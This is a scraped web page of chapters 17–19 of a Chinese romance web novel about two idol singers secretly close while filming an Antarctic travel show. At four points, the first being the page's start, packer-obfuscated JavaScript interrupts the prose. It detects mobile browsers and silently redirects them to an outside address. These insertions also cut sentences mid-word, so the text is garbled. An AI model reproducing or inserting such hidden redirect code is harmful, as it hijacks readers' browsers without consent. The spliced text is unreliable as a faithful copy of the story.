;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060125|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要来! 方新故:嗯,到时候这边节目应该正好录完,我直接飞去你那边。 许素波感慨万千:哎,当年我喜欢的人也是要来参加我的婚礼了,可惜这次他不是新郎,而是伴娘[今天犯什么贱好呢.jpg] 方新故:[微笑] 许素波:不想当伴娘?那花童非你莫属[狗头叼花] 方新故:在我起鲨心之前你最好有多远滚多远:) 许素波嘿嘿笑着下线,方新故关了手机望向天花板,心想时间过得可真快,转眼许素波都要结婚了。 方新故正想着,突然听到有人摁响了房间门铃,他往门口看去:“谁?” “我。” 来人没有说自己的名字,但方新故一听就知道那是景亦同的声音,他马上从床上坐起来,心里却有些慌乱,这个时候景亦同来做什么? 他快走几步过去打开房门,果然看到景亦同站在门外:“聊聊?” 方新故微不可查地扁了下嘴,着实不太想跟景亦同聊天,但人都到门口了,也没有把人赶走的道理,他只能把景亦同放进来:“哦。” 景亦同丝毫不见外,进方新故的房间就跟回自己屋一样,他在沙发上坐下,还反客为主地给方新故倒了杯水:“干嘛呢?” 方新故在沙发另一侧坐下,反倒有些拘谨:“许素波月底结婚,叫我去参加她的婚礼。” “……啊?她要结婚了?”听景亦同的语气似乎完全不知道此事,他举起杯子喝水润嗓,“你们还有联系?我好久没听到她的消息了。” “嗯,她跟她未婚夫在一起也挺久了,也算有情人终成眷属吧,”方新故双手交叠地放在腿上,拇指在手掌的遮掩下焦虑地扣抓着,“找我有事吗?” 景亦同不动声色地观察着他的小动作,随后“嗯”了一声:“我是来道歉的,刚才我反思了一下,吃晚饭的时候是我话多了,说了些没必要的话,引起网友误会了,希望不会对你有影响。” “哦,这个啊,没事的。” 方新故还真没把这事放心上,他们选秀出道的偶像明星,粉丝之间三天一小撕五天一大撕那就是家常便饭,如果真吵得过头了,齐邱自然有办法平息战火,但现在才哪到哪? 景亦同看他表情不似作伪,这才松了口气,笑道:“你没受影响就好,看来我们新故在我看不到的地方偷偷成长了很多。” 方新故垂下眼:“人都是会变的。” 明明方新故没做什么表情,但景亦同却从他身上感受到了苦涩与无奈,连带着景亦同也开始心口发闷。 他无声叹了口气,知道自己需要给方新故留点空间,于是他也没多待,聊了几句后起身准备离开:“时间不早了,我就先走了,你早点睡吧,晚安。” 这就要走了? 方新故紧盯着景亦同起身的动作,景亦同接收到他的视线,问道:“怎么了?” 方新故提起口气,启唇刚想说什么,但最后还是把话咽了回去。 景亦同看得好笑:“想说什么?跟我还有什么不好意思的。” “……哥,”方新故低声叫住他,思虑再三,终于再次问出了那个他反复思索,却始终得不出答案的问题,“你到底为什么来《世界之大》?” 景亦同有些愣怔,他没想到方新故想问却不敢问的竟然是这个。 轻笑一声后,景亦同脸上也扬起了柔和的笑意,他抬手抚在方新故发顶:“当然是为了你。” “当年我答应过你,要和你一起来南极的,可惜这次你没有邀请我,那我只能不请自来了。” 17. 第 17 章 景亦同掌心的热意透过发顶传来,头上那只手的存在感是如此强烈,以至于明明只是微热的温度,但方新故却感受到一股暖意在心头淌过。 自从景亦同第一次出现在《世界之大》的录制现场,方新故就无数次地想,景亦同究竟为何而来。 会是为了他而来的吗?会是为了兑现很多年前那个玩笑一般的承诺吗? 但他始终不敢确定,生怕一切都是他自作多情。 可景亦同却用最理所当然的语气告诉他:没错,我就是为你而来,就是为了兑现当年的承诺,即使那只像个玩笑。 这种被人、尤其是被自己喜欢的人放在心上的感觉,一下冲垮了方新故筑起的堤坝,触动了他盔甲下最柔软的内里,那一刻,他只感觉眼眶发热,鼻尖也泛起了酸意。 他仓皇地挪开视线,不想让景亦同发现自己的失态,故作不在意地嘴硬:“那都是以前瞎说的,你不用当真。” 景亦同顺势敲了下他的头:“哎,原来当年的承诺只有我一个人放在心上?那我白来一趟。” 说完,他便要收回那只停留在方新故发顶的手。 听见景亦同语气里难掩的失落和委屈,方新故顿时心里一慌,也来不及分析景亦同到底是不是在装腔作势了,他下意识就抓住了景亦同的手,紧急撤回一个嘴硬:“没有,没白来!我不是那个意思。” “嗯?” 景亦同定定地看着他,表情很安静,像是在鼓励他继续往下说。 “我是想说……”方新故松开手,喉结紧张地一滚,轻轻道,“谢谢你,哥。” 景亦同这才笑了,他用力捏住方新故的脸扯了扯:“真拧巴,对你来说那要真的只是个玩笑,你会记到现在?” 方新故被人戳中心思,有点不好意思,只好任由景亦同蹂躏自己的脸:“你又知道了。” 景亦同松开手,不着痕迹地搓了搓指尖,像是在回味刚才手下细腻的触感。 他重新坐回沙发上,闲散地往后一靠,胳膊搭在沙发靠背上,侧过身子道:“那当然了,人都会变,但我是你哥这点不会变,所以对你的承诺也不会变,有关你的事我都好好记着。” 方新故顿了一下:“……干嘛说这么肉麻。” 景亦同笑他:“小时候更肉麻的话也不是没说过,而且我可不像你这个小没良心的,自己一个人来南极,也不知道跟我说一声。” 明明是责备的话,但语气里却只有关心。 方新故感觉自己的心脏砰砰直跳,他慢吞吞道:“你这么忙,我又不知道你有没有空,不好随便打扰你。” “说的好像在怪我没跟你报备一样,”景亦同嘟囔了一句,“提一嘴的事,有什么打扰的。而且是你找我的话,我肯定会来。当然了,就算你没找我,我不也自己送上门来了?” 方新故被逗笑了,脸上的表情也舒展起来,甚至还跟景亦同开起了玩笑:“那反正你自己也会来,我干嘛还要特地去找你。” 景亦同语塞:“你就不能为了我多付出点努力?” 方新故闷声笑个不停 。 时间已经不早了,景亦同没再多留,跟方新故道别:“我先走了,你好好休息,晚安。” “嗯,哥晚安。” 景亦同揉了下方新故的脑袋,转身离开了。 房间逐渐安静下来,屋里的一切都回归寂静,时间仿佛在这个空间停滞,就连方新故也保持着景亦同离开时的姿势一动不动地坐在沙发上,直到嘴角的弧度都僵硬了,目光仍落在景亦同刚刚坐过的位置上。 时间不断流逝,桌上的茶彻底凉了,方新故才弯下腰,把脸埋进掌心中长叹一口气,脖颈垂下时露出的线条看起来十分脆弱。 景亦同真的好好啊。 他也真的好喜欢景亦同啊。 方新故心里一阵阵钝痛,要是景亦同没这么好就好了,省得他总是心动,又总是心痛。 但景亦同有一句话没说错,无论过去多少年,无论他们之间有着怎样的变化,甚至无论未来景亦同会跟谁走到一起,但景亦同是他哥这点永远不会变。 但也可能永远只会是哥哥。 方新故十分清楚,他和景亦同就应该像两条平行线,永远并行,但永远没有交点。 只怪自己不小心多踏出了一步,让这份感情变了质。 . 第二天,《世界之大》节目组的录制再次启动。 助理周小佑和妆造师一走进方新故的房间,就被方新故眼下的青黑震惊到了,妆造师毫不留情地吐槽:“你昨晚是去码头喂海鸥了吗。” 这位妆造师和方新故有过多次合作,两方很熟,说话自然就没这么客气。 方新故疲倦地搓了几把脸试图让自己打起精神:“有点失眠。” 妆造师惊声尖叫,一把扯下方新故暴力搓揉脸颊的手,高声训斥:“你能不能对自己美丽的脸蛋温柔一点!你这样会加速皮肤老化,要长皱纹的!!” 方新故嫌吵地揉揉耳朵,侧过身让他们进屋,把桌面上乱七八糟的乐谱收拾整齐,随口道:“反正人都会老,迟早也要长皱纹的。” 妆造师看不惯他这种摆烂的态度,冷哼一声:“一副颓废的样子,不知道的还以为你失恋了。” 周小佑哈哈笑起来:“可不能污蔑我们新故,他还是个黄花大闺男。” 妆造师翻了个白眼:“行了,黄花大闺男,过来做造型了。” 方新故:…… 方新故懒得说他们,直接在妆镜前坐下,指着自己的黑眼圈道:“帮我遮一下。” 妆造师拿着遮瑕膏眯眼打量他眼下的青黑:“你也知道要遮黑眼圈啊?增加我的工作量。” 周小佑在边上啃面包:“这难道不是你的本职工作?” 妆造师呵呵笑道:“你以为你这个助理的本职工作就做得很好吗,连桌子都要我们方老师自己收拾。” 周小佑低头看了一眼方新故刚刚理好的那沓乐谱:“这是新故刚写的谱子,这些他向来都是自己整理的,我可不敢插手。” 妆造师看着闭眼装死的方新故:“喂,你不会昨晚睡不着,就写了一晚的歌吧?” 方新故辩解:“也没有一整晚,还是睡了一会儿的,小佑帮我拿罐咖啡。” 周小佑从吧台顺了一罐给他,方新故碰了碰觉得有点冰,便先推到旁边,准备等会儿用热水泡一下。 周小佑:“这么大的时差失眠也正常,但是你睡不着就好好躺着,还在那儿写什么歌,那不是更睡不着了。” 方新故没好意思说时差事小,景亦同才是让他失眠的罪魁祸首。 好在妆造师的功底深厚,一套妆造下来,方新故又恢复了往日的模样。 但当方新故风风火火走出酒店,登上节目组的巴士时,却遭到了其他六个嘉宾的注目礼,几人全都目不转睛地盯着自己。 方新故怪道:“怎么了?” 李问语斟酌了一下措辞:“师兄,你今天看起来特别……特别的容光焕发、光彩照人。” 汪裴阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060126|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头表示认同:“帅得很突出。” 方新故愣怔地摸了下脸:“是今天cody老师用力过猛了吧?” 一句玩笑让车上的氛围活络起来,几人有说有笑间,方新故看了眼车上的布局,他是最后一个上车的,此时只有景亦同前面还剩一个位置,方新故犹豫了一下,还是选择坐下。 结果他刚坐下没多久,后面的景亦同就悄无声息地凑了上来,借着吵嚷的交谈声掩盖,小声问他:“昨晚没睡好?” 方新故稀奇得很,明明其他人都觉得他今天状态很好,怎么景亦同就能一眼看出他昨晚上没睡好? 方新故没有直接回头跟景亦同说话,而是很谨慎地拿起手机敲下一行字:你怎么知道? 然后他举起手机,放到了一个景亦同能看清楚的角度。 景亦同看清手机上的字,继续在他身后道:“不然cody老师怎么会有用力过猛的机会?” 方新故:……有点道理,今天他做造型的时间确实比平常更久。 “你为什么没睡好?”景亦同说完,又叹了口气补充,“其实我昨晚也没睡好。” 放在往常,方新故肯定要追问下去,关心一下景亦同失眠的原因。 但此时车上人太多,还有镜头在,方新故怕自己露馅,只好飞速打字:记得在镜头前,我们还是要装不熟的。 景亦同:…… 景亦同憋闷地不出声,他都想问问方新故,到底为什么如此执着地要跟他在镜头前装不熟。 这个“不熟”到底是装给粉丝看的,还是装给他自己看的? 难道真的只是像方新故说的,只是因为他们以前从来没透露过他们的关系,所以要继续把这种状态维持下去,还是…… 还是因为方新故还在介意联姻的事。 方新故从小把他当成哥哥,但现在,他这个哥哥却突然向他提出了联姻的请求。 ……确实是有些难以接受吧? 这边景亦同在沉思,前排的方新故也竖着耳朵,一直在偷偷关注身后的景亦同的反应,可过了好几分钟,方新故都没听到景亦同有任何动静,他心里不免有点发虚:景亦同干嘛呢? 方新故想看看景亦同的表情,可景亦同现在坐在他后面,他要回头的话动作就太明显了。 方新故思索片刻,不动声色地偏过头,想借着车窗玻璃的反光偷偷观察景亦同,可景亦同这会儿正双臂环在胸前做思考状,方新故从车窗上只能看到他后脑勺。 不会生气了吧? 方新故皱眉思考着,他捏捏脖子,随后习惯性地把手插进羽绒服的口袋里,这一下就摸到了一罐热乎乎的咖啡。 那是刚才做妆造的时候周小佑给他的,当时他觉得有点凉,后来把咖啡罐捂在热水里加热了,放到外套口袋里准备等会儿路上喝。 不过刚才景亦同是不是说他昨晚也没睡好来着? 方新故抬头观察了一下摄像机的角度,感觉镜头应该拍不到他肩膀以下的部位,于是偷偷从口袋里掏出那罐咖啡,放到了车窗沿上立好,又从衣袖里伸出两根手指,悄悄地把那罐咖啡推向景亦同。 于是后座的景亦同一抬头,就看到窗沿上不知何时多了一罐咖啡,正在慢慢向他挪来。 这很明显是个精挑细选过后的摄像死角,此时两根手指正在咖啡后面一戳一戳,那手指白皙纤长,莹润的指甲盖折射着微光。 明明是一双很漂亮的手,但此刻却蛄蛹着,透露出几分鬼鬼祟祟,企图悄咪咪地把咖啡推给景亦同。 18. 第 18 章 景亦同故意不说话,就静静看着前排方新故的小动作。 方新故推咖啡推了半天,也不见身后有动静,心想这都没听到?他只能故意干咳几声吸引景亦同的注意。 景亦同这才收敛笑意,明白再装下去就有点过分了,于是他左手拿过那罐咖啡,右手却坏心眼地顺势捏住了方新故的指尖。 方新故:? 方新故抽了两下没从景亦同的魔爪下救出自己的手,伸手就想打景亦同作乱的手,结果坐在他前面的李问语忽然回头:“师兄你怎么咳嗽了?感冒了吗……你在干嘛?” 在李问语回头的一瞬间,景亦同马上松开方新故的指尖。 方新故好不容易重获自由,连忙把都快伸到后座的胳膊收回来,但动作幅度太大,还是被李问语抓个正着:“你手怎么了?” 方新故立马正襟危坐:“没事,就是被静电电了一下。” 他刚说完,就听到背后的景亦同这个始作俑者竟然忍不住笑了一声,方新故在心里把他骂了一顿。 李问语却狐疑地看着方新故和偷笑的景亦同,皱着眉坐回了位置上。 梁寄言看她皱着脸,问道:“你怎么这个表情?” 李问语想到昨晚的羊腿事件和网上的舆论发酵,老气横秋地摇头叹气:“哎,就是有些人真不让人省心。” 见李问语又坐了回去,方新故这才松了口气,他缓了一会儿,又把手伸到窗户边,给景亦同比了个倒赞。 景亦同借着优越的地理位置伸手弹了他一下,气得方新故马上把手收了回来。 见方新故不再有动作,景亦同摩挲着手上温热的咖啡罐,嘴角却扬起了满足的笑意。 哒—— 他拉开拉环,仰头喝了一口,咖啡液顺着食管流淌进身体中,整个人都身心舒畅了起来,虽然这只是一罐说不上多好的普通咖啡,温度也只是温热,但景亦同却品出了一股从未感受过的醇香。 方新故给的,好喝。 . 巴士车沿着海岸一路向前。 严途坐在最前面cue流程:“我们现在正在前往参观也格来日斯灯塔的路上,这也是我们这趟行程的第一个目的地,也代表这趟南极之旅正式启动。” 七个人相当捧场地鼓掌:“期待期待!” 严途却给几人兜头泼了一盆冷水:“先不急着期待哈,这趟旅途可能没大家想像得那么轻松,我们一路辗转好不容易到了乌斯怀亚,明天就要登船了前往南极洲了,但途中还有最难过的一关——德雷克海峡,那一带可是被称为魔鬼西风带,终年有狂风恶浪肆虐,晕船的大有人在。我先给大家打个预防针,到时候上船了可就没有后悔药了啊。” 景亦同接话:“没有后悔药但是有晕船药,我带了,有怕晕船的可以找我拿。” 汪裴阳马上举手:“我先预定一粒。” 李问语呛严途:“严导,你现在说也迟了,我们总不能现场罢录。” “当然不能,”严途拍大腿,“不过我相信大家应该也早就心里有数了。” 李问语很自信:“那是,我以前坐游艇、海轮什么的时候也遇到过大风大浪,但都没晕过船,这次肯定也没事。” 罗达:“就是,小小德雷克必须拿捏!” 严途摆手:“口说无凭,我这里有一份旅游出发前宣言,现在大家一起来宣誓一下。我念一句大家跟着念一句,以后谁要是在旅途上发牢骚,我们就请他看VCR。” 这下连梁寄言都无语了:“你也太谨慎了吧?” 汪裴阳嘀咕:“有种提前甩锅的感觉。” 罗达更是提议:“既然都到这一步了,那不如设个惩罚机制,以后谁要是违反了旅游宣言,就要接受惩罚,不然光回看VCR有什么杀伤力。” 方新故听不下去,试图阻止这些人:“还是别为难自己了吧?” 李问语兴致高昂:“这有啥!我们都是很有职业操守的,肯定不会违反的。” 孟回笑道:“问语,你别给自己立flag了,别到时候就你晕船最严重。” “肯定不会!” 方新故见插不进话,只好揉揉额角,好言难劝该死的鬼,那可是德雷克海峡,连他和景亦同这种出海经验算是比较丰富的人都不敢说自己百分百没事,他们哪儿来的自信? 算了,随便他们吧。 严途也没想到自己准备放他们一马,可这些嘉宾不准备放过自己。 严途也是没见过有人爱给自己上难度的,但碰到这种增加节目效果的事,他肯定也不会拒绝:“行了行了,先来跟我宣誓,一、绝不说早知道不来了;二、绝不说我累了你们去玩吧;三、无论如何不会在旅程中摆脸色……” 前两条还没什么,但说到第三条,李问语一下笑了出来,她挤兑方新故:“不行啊不行,这个不公平,我师兄随时都有可能违反第三条哈哈哈。” 李问语话音刚落,立马有镜头对准了面无表情的方新故。 方新故:…… 其他人哈哈笑起来,方新故额角一抽,冷眼看李问语:“我现在不想摆脸色给你看,我现在要给你点颜色看。” 李问语忙举手投降:“我闭嘴我闭嘴。” 罗达:“你们这些坏人不要污蔑我们新故啊,他只是脸有点冷罢了!” “哈哈哈哈。” 一行人吵闹地宣誓完,严途又道:“好了,既然是你们自己提出来的要有惩罚的,那惩罚内容就交给你们自己决定吧。” 李问语抢答,显然是早就在心里想好了惩罚内容:“违背旅行宣言的人要跳女团舞!” “你这小算盘打的,这对你来说算什么惩罚,”罗达马上否决,“不如拍低脂小视频吧。” “这个好这个好!” “我也投低脂小视频一票!” 一行人在车上讨论着惩罚内容,仿佛已经看到旅程结束之后其他人在镜头前出糗的模样,却一点也不觉得那个违背宣言、接受惩罚的人会是自己。 一会儿后,巴士停靠在码头,一行人换乘快艇前往参观比格尔海峡中的也格来日斯灯塔。 方新故总是习惯性地走在人群最后,因此等他上快艇的时候,只剩下景亦同身边和角落里还有一个位置,方新故仅用了0.1秒思考,就坐到了角落那个位置。 可那位置原本只能坐下半个人,旁边的汪裴阳见方新故要坐在自己身边,只好往里挪了挪给他腾出地方。 方新故丝毫没有挤人的羞愧,大方道:“谢谢。” 汪裴阳略微有些拘谨:“方老师不用客气。” 方新故心想汪裴阳是准备叫自己“老师”叫一整季节目吗?他道:“不用一直叫老师。” 汪裴阳有些局促,“呃,那叫哥?” 挺正常的一个称呼,但方新故听得莫名一顿,他僵硬回道:“嗯,都可以。” 方新故刚应完,一抬头就看到坐在自己斜对面的李问语在朝自己疯狂使眼色,方新故顺着她的视线看去,就看到坐在另一侧的景亦同正含笑看着他。 方新故莫名有股心虚,景亦同却托着下巴故意问:“方老师坐在那儿不挤吗?” 方新故听出了景亦同语气里的揶揄,挺直身子道:“不挤。” 他刚说完,那头的李问语就已经长叹了一口,惹得方新故莫名其妙地看她。 没事叹什么气?这一天天的,身边就没个正常人。 此时此刻的李问语却感觉心累,愈发肯定景亦同和方新故之间肯定是有什么不可调和的摩擦,不然方新故不会留着景亦同身边的空位不坐,反而来挤汪裴阳身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060127|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边这半个位置。 更奇怪的是,他们这几个人里只有汪裴阳和景亦同会称方新故为“方老师”,这个称呼带着明显的距离感,所以方新故才会提醒汪裴阳换个称呼,但景亦同叫他“方老师”,方新故却没有任何意见和表示。 这明显是关系不和啊,本来他们两家粉丝就在网上掐架,等到节目正式播出,粉丝看这两人的相处模式,岂不是更要吵翻天? 李问语无奈摇头,感觉自己背负了太多她这个年龄不该承担的东西。 方新故看李问语表情扭曲,皱眉看她:“你是吹了冷风之后面部肌肉抽筋了吗?” 明明在为他考虑的李问语闻言咬牙切齿:“我谢谢你啊!”好心当作驴肝肺! 方新故语气相当认真:“没跟你开玩笑,经常这样容易面瘫。” 李问语原本以为方新故在嘲讽她,结果一看方新故那副表情,才意识到他竟然是认真的,李问语更是感觉一肚子气没处撒。 这时,快艇上的工作人员过来检查了一圈安全问题,见方新故挤在末尾的位置,他当即蹙眉,指着景亦同边上的空位道:“这里太挤了,不安全,你坐那儿去。” 方新故:…… 感觉扳回一城的李问语控制不住地大笑起来。 方新故只装没听到她刺耳的笑声,最终还是起身坐到了景亦同身边。 景亦同揶揄:“方老师,还是这里宽敞,是吧?” 但方新故却没回话,他甚至连看都不敢看景亦同,生怕自己一跟景亦同对视,就会忍不住笑出来。 于是这一路上,他只好偏过头看天看海,要不就是就盯着自己的脚尖,连余光都没有给景亦同一丝一毫,景亦同也是同样的状态,搞得两人明明坐在一起,却给人一种同床异梦的诡异感觉。 直到船行了有一会儿,他们忽然听到梁寄言道:“看那边,也格来日斯灯塔。” 几人顺着梁寄言的指尖望向快艇的一侧,只见那座位于世界尽头的红白色灯塔不知何时已经出现在了他们身侧不远处。 “哦哦哦真的耶,那就是也格来日斯灯塔吗?” 那灯塔就矗立在嶙峋崎岖的礁石上,再往远处看,能看到群山连片,中高纬度地区常年寒冷的气候让山顶仍覆盖着皑皑白雪,渺远的天空上悬着厚重的白云,振翅飞过的海鸟为这幅静谧的画卷添上了几分灵动。 一时间船上所有人都没顾得上说话,大家都迅速地拿起手机、相机把镜头对准了那座灯塔,想记录下眼前的场景,唯独方新故只是静静看着,像是要用目光在脑海中印刻下此时的景象。 如果单看那一座灯塔,其实并没有多与众不同,它与这个世界上其他成千上万座灯塔相比,也并没有特殊之处,似乎只是更孤独了一些。明明它仅存世间百年左右,却给人一种千百年来它一直伫立在此的感觉,它的孤独遗世独立。 或许只是“世界尽头的灯塔”的称谓给它添上了神秘的色彩。 但当这座灯塔置身于这片独特的苍茫天地间时,眼前的景色却不断与他记忆中《极地信使》的场景重合,它早已经与这方天地融为一体,尤其是塔身上的那抹红色经久不衰,时隔多年仍然如此耀眼、让人挪不开视线。 更重要的是,当时陪他看《极地信使》、答应以后要陪他一起来南极的人,现在竟然真的就站在他身边。 想到这儿,方新故终于鼓起勇气,他想看看景亦同,更想和他分享自己此刻的心情。 谁知他转过头,看到的却不是景亦同那张熟悉的脸,而是景亦同举起来的漆黑的相机镜头。 只是方新故看着那镜头,眉心却逐渐拧起来,心中陡然升起一股疑惑。 景亦同这个拍摄角度,能拍到后面的也格来日斯灯塔吗? ……这个角度好像只能拍到他吧? 19. 第 19 章 景亦同一手托着机身一手摁着快门,机身将他的脸遮住了大半,从方新故的角度看过去,完全看不清他的表情。 但毫无疑问的是,此时方新故正堵在景亦同的镜头和也格来日斯灯塔的中间,以景亦同的角度,根本不可能拍到后面的灯塔。 就在这时,景亦同从相机背后歪出脑袋,笑着对方新故比了个拍照的手势,坦然到丝毫没有被人抓包的慌张。 方新故就知道景亦同肯定是在拍他。 因为快艇空间有限,只有两个摄像老师跟在他们船上,其他工作人员则乘坐在另一艘快艇上,方新故很警惕地往四周扫了一圈,确认此时大家的镜头都对准了后面的也格来日斯灯塔,没人注意到他们的小动作,这才放松警惕。 他一手揉着鼻尖,企图用手挡住自己翘起的嘴角,另一手给景亦同打手势:低调。 景亦同挑眉,比了个“OK”。 这边两人正背着其他人打得火热,那边的汪裴阳似有所感地突然转头,有点疑惑地看着方新故:“新故哥,你刚才是比划了什么吗?”他余光好像看到方新故做了什么动作。 方新故一怔,现在的年轻人眼神是不是有点好过头了? 方新故含糊道:“没啊。” 景亦同也来插话,帮他转移汪裴阳注意:“方老师,让一下,挡我镜头了。” 方新故故意拉着脸冷硬回复:“哦。”说完,他像是不情不愿地往旁边一挪,给景亦同留出机位。 汪裴阳挠头,他看看方新故又看看景亦同,也感受到了这两人古怪的气氛。 其实汪裴阳跟这两位前辈都不是很熟,但就这么几天接触下来,也能感觉到景亦同是很随和的性格,虽然是前辈,但跟他相处完全不用有压力。而方新故虽然话少,表面看起来冷漠傲气,但其实做的远比说的多,也是个很好相处的人。 可明明都是很好的人,但为什么这两个人凑在一起,却总会碰撞出一股火药味? 心中有了疑惑,汪裴阳对两人的观察就多了起来,他的目光总若有似无地扫过两人,愕然发现方新故和景亦同虽然坐在一块,却没有一点交流,甚至连一个眼神都没给彼此,简直像是有无形的结界把他们隔开了。 与此同时,方新故也快烦死了,他能感觉到汪裴阳一直在偷偷观察自己和景亦同,他还以为汪裴阳发现了什么端倪,搞得他更加不敢和景亦同有什么互动了。 直到下了快艇,方新故转动脖子,就听到自己的脖子接连发出了好几声脆弱的咔嚓声,他暗自下决心,以后绝对不能再坐景亦同边上,否则他的脖子和肩膀迟早有一天要报废。 中午他们回到城区的一家餐厅,在海上吹了一上午的冷风,好不容易回到温暖的室内,大家身上终于暖和起来,纷纷开始脱外套。 方新故原本也想把外套脱了,但当他的目光扫过景亦同时,动作很明显地顿了一下,最后只是摘下围巾帽子,把外套的拉链往下拉了点,又将内搭的立领翻下来。 餐厅老板来邀请他们去后厨点餐,这是家专做海鲜的店,可以自己挑海鲜和烹饪方法。 很会吃的罗达叫上孟回和李问语一起去点菜,梁寄言和汪裴阳则去了趟洗手间。一群人呼啦啦地走了,最后餐桌旁只剩下方新故和景亦同。 因为有摄像机在,两人都没开口说话。他们就这么呆呆坐着,一句话也不说,摄像拍得也无聊,如果是其他人,PD肯定会提醒他们互动一下挣点镜头,但一来他不敢随意指挥这两尊大神,二来这两位肯定也不缺镜头。 尤其现在看来他们好像关系一般,与其互动吵起来,还不如就这样相安无事地坐着,他又不是严途那个没节操的,多一事不如少一事。 过了好一会儿,景亦同看着裹得严严实实的方新故,忍不住开口问:“你不热?” 方新故上下打量景亦同,这会儿景亦同脱了外套,身上是一件黑色的立领卫衣,袖口上是同为黑色的暗纹,只有在灯光下才能窥见一二。 方新故看着他的着装,露出了一个颇有深意的表情,景亦同刚想问他这是什么表情,就见方新故默默撸起外套袖子,也露出了自己的内搭。 景亦同莫名其妙地看过去,发现方新故外套里面穿了件灰白色的棉质卫衣,随着方新故转动胳膊,袖口上显示出了和景亦同一模一样的暗纹。 其他人一眼或许反应不过来,但景亦同几乎是一眼就看出了方新故身上那件衣服,完全就是他身上这件卫衣的同款不同色。 他们俩竟然撞衫了。 方新故痛苦地抵住额头,天知道刚才他看到景亦同脱下外套、露出里面那件和他身上一样的立领卫衣时有多崩溃。 可景亦同已经先他一步脱了外套,这时候他要是再把外套一脱,露出里面和景亦同的同款内搭,这事情还得了? 艺人在同一个节目上撞衫本就尴尬,更何况他和景亦同现在是这样的情况,两边粉丝的关系也不融洽,方新故不想生事,省得以后他俩又被人拿出来做比较,到时候又牵扯出一堆破事来。 因此方新故只好硬生生装出一副不热的样子,心中后悔不已,早知道就不穿私服了。 其实会撞衫这事根本说不上是意外或者巧合,前段时间方新故在江城时,景亦同的母亲宋皎女士,正好从国外出差回来,给他带了很多冬季新款,后来方新故收拾行李的时候顺便就带来了。 但现在想想,宋皎给他带衣服,肯定也少不了景亦同那一份,估计景亦同身上的衣服也是宋皎从国外捎回来的。 景亦同显然也想明白了来龙去脉,捂着嘴转过头偷笑不止:“我去让他们把空调温度打低一点,给你降降火。” 方新故刚想说好,蛋这时,李问语突然从后面蹿了过来,她挤进了方新故和景亦同之间,隔开两人的视线,非常突兀地开始介绍中午的菜色:“等会吃帝王蟹哦还有很多海鲜,都是我们刚才挑的,绝对新鲜!” 方新故看她一脸亢奋的模样,莫名其妙地应了一声:“哦。” 李问语这才松了口气,刚才她一回到餐厅,远远就瞧见方新故撸起了袖子,像是想要跟景亦同大干一场,她吓了一跳,还以为这两人要有肢体冲突,连忙跑过来想劝架,就见方新故整个人都气红温了,甚至连景亦同都放起了狠话,说要降低温度给方新故降火。 方新故就算了,怎么连景亦同都这么不冷静! 李问语头疼得不行,这两人怎么回事,昨天拍照的时候不还好好的吗? 她百思不得其解,直到一顿饭吃完,她忍不住挪到摄像大哥边上悄悄打探刚才的情况:“吴哥,刚才我们去挑海鲜的时候,我师兄和景哥两个人聊什么呢?” 老吴不明白李问语问这个干嘛,但他回忆了一番,确定那两人刚才并没有说什么有营养有意义的话,他如实道:“他们也没说什么。” 李问语听了却面色一沉:完蛋了,竟然连摄像老师都不肯说刚才发生了什么? 肯定是闹过火了,连工作人员都得帮他们遮掩保密。 于是李问语琢磨了一路,梁寄言注意到她的魂不守舍,关心道:“你今天怎么了?” 李问语看了方新故和景亦同一眼,她关了夹在衣领上的麦,跟梁寄言八卦:“姐,你知道我师兄和景哥是怎么了吗?” 梁寄言也偷瞄那两人:“网上是不是说他们有过结?” 似乎是捕捉到了关键字,汪裴阳也凑过来:“是在说景哥和新故哥吗?我也感觉他们怪怪的。” “对对对!”李问语像是找到了知音一般,把自己刚才在餐厅看到的情况添油加醋地说了一通,“他们到底想怎样?私下闹闹就算了,怎么在镜头前还吵这么难看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060128|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后节目播出了怎么办?” 汪裴阳沉吟道:“咱们节目才刚开始录制没几天,他们有仇肯定也是以前结的,但我没听说他们认识?” 